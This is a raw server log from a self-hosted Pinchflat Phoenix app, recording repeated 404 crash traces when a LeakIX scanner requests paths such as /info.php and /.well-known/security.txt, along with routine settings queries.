:plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/telescope/requests", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJijH2hsihiEAFohB"} ], scheme: :http, script_name: [], secret_key_bas (truncated) 17:50:45.810 [info] GET /info.php 17:50:45.810 [debug] QUERY OK source="settings" db=0.1ms idle=1025.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:45.810 [debug] QUERY OK source="settings" db=0.1ms idle=1025.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:45.810 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:45.811 [error] #PID<0.162787.0> running PinchflatWeb.Endpoint (connection #PID<0.162786.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162786.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44282}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162787.0>, params: %{}, path_info: ["info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJjSvmdJiEGQAFohh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162786.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44282}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162786.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44282}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162787.0>, params: %{}, path_info: ["info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJjSvmdJiEGQAFohh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router } (truncated) 17:50:46.608 [info] GET /info.php 17:50:46.608 [debug] QUERY OK source="settings" db=0.2ms idle=997.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:46.609 [debug] QUERY OK source="settings" db=0.0ms idle=997.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:46.609 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:46.609 [error] #PID<0.162789.0> running PinchflatWeb.Endpoint (connection #PID<0.162788.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44296}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162789.0>, params: %{}, path_info: ["info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJmRDx2vHj-0AFoiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44296}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44296}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162789.0>, params: %{}, path_info: ["info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJmRDx2vHj-0AFoiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, stat (truncated) 17:50:46.808 [info] GET /.well-known/security.txt 17:50:46.809 [debug] QUERY OK source="settings" db=0.1ms idle=998.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:46.809 [debug] QUERY OK source="settings" db=0.1ms idle=998.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:46.809 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:46.809 [error] #PID<0.162791.0> running PinchflatWeb.Endpoint (connection #PID<0.162790.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.well-known/security.txt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.well-known/security (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162790.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.well-known/security.txt", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44302}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162791.0>, params: %{}, path_info: [".well-known", "security"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/.well-known/security.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJnA5b_taNoEAFoih"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162790.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.well-known/security.txt", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44302}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.well-known/security (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162790.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.well-known/security.txt", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44302}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162791.0>, params: %{}, path_info: [".well-known", "security"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/.well-known/security.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJnA5b_taNoEAFoih"} ], scheme: :h (truncated) 17:50:47.007 [info] {"source":"oban","duration":1840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:47.593 [info] GET /.well-known/security.txt 17:50:47.593 [debug] QUERY OK source="settings" db=0.1ms idle=984.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:47.593 [debug] QUERY OK source="settings" db=0.1ms idle=784.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:47.593 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:47.594 [error] #PID<0.162793.0> running PinchflatWeb.Endpoint (connection #PID<0.162792.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.well-known/security.txt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.well-known/security (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162792.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.well-known/security.txt", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44316}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162793.0>, params: %{}, path_info: [".well-known", "security"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/.well-known/security.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJp71x4PqxZMAFojB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162792.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.well-known/security.txt", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44316}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.well-known/security (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162792.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.well-known/security.txt", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44316}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162793.0>, params: %{}, path_info: [".well-known", "security"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} 